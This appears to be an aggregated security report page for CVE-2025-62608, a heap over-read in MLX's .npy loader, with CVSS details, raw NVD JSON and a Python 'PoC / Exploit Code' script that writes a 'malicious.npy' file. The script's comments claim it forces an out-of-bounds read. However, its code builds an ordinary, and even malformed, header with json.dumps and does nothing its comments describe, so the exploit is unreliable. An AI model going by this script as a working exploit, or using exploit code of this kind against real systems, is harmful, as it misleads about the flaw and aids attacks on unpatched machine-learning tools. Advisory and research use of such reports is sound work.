Security Vulnerability Report
中文
CVE-2025-62608 CVSS 9.1 CRITICAL

CVE-2025-62608

Published: 2025-11-21 19:16:02
Last Modified: 2025-12-02 16:34:52

Description

MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ml-explore:mlx:*:*:*:*:*:*:*:* - VULNERABLE
MLX < 0.29.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62608 PoC - Malicious .npy file generator # This PoC generates a malicious .npy file that triggers heap buffer overflow # in MLX framework's mlx::core::load() function import struct import numpy as np def create_malicious_npy(): """ Create a malicious .npy file that triggers OOB read in MLX The vulnerability exists in parsing NumPy .npy file headers """ # .npy file header format magic = b'\x93NUMPY' version = b'\x01\x00' # Version 1.0 # Malicious header: Forcing incorrect data offset # The header contains a fortran_order flag and shape info # that causes the parser to read beyond allocated buffer header_dict = { 'descr': np.float32().dtype.str, 'fortran_order': False, 'shape': (1,) } import json header_str = json.dumps(header_dict).replace(' ', '') header_len = len(header_str) + 1 # +1 for newline # Pack header length in little-endian format header_length = struct.pack('<H', header_len) # Construct header header = magic + version + header_length + header_str.encode() + b'\n' # Malicious data: crafted to trigger OOB read # The data size is manipulated to cause buffer overflow malicious_data = b'A' * 100 + b'\x00' * 13 # Extra 13 bytes for OOB read # Write malicious .npy file with open('malicious.npy', 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Created malicious.npy") print(f"[+] Header size: {len(header)} bytes") print(f"[+] Data size: {len(malicious_data)} bytes") print(f"[+] Expected OOB read: 13 bytes") def verify_npy(): """Verify the generated .npy file""" with open('malicious.npy', 'rb') as f: magic = f.read(6) print(f"[+] Magic: {magic}") version = f.read(2) print(f"[+] Version: {version.hex()}") header_len = struct.unpack('<H', f.read(2))[0] print(f"[+] Header length: {header_len}") if __name__ == '__main__': create_malicious_npy() verify_npy() print("\n[!] Usage: Load malicious.npy with vulnerable MLX version") print("[!] In Python: mlx.core.load('malicious.npy')")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62608", "sourceIdentifier": "[email protected]", "published": "2025-11-21T19:16:02.267", "lastModified": "2025-12-02T16:34:51.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MLX is an array framework for machine learning on Apple silicon. Prior to version 0.29.4, there is a heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure. This issue has been patched in version 0.29.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ml-explore:mlx:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.29.4", "matchCriteriaId": "C62C2D2D-92D7-4480-BDB9-56CECD1626E7"}]}]}], "references": [{"url": "https://github.com/ml-explore/mlx/pull/1", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ml-explore/mlx/pull/2", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}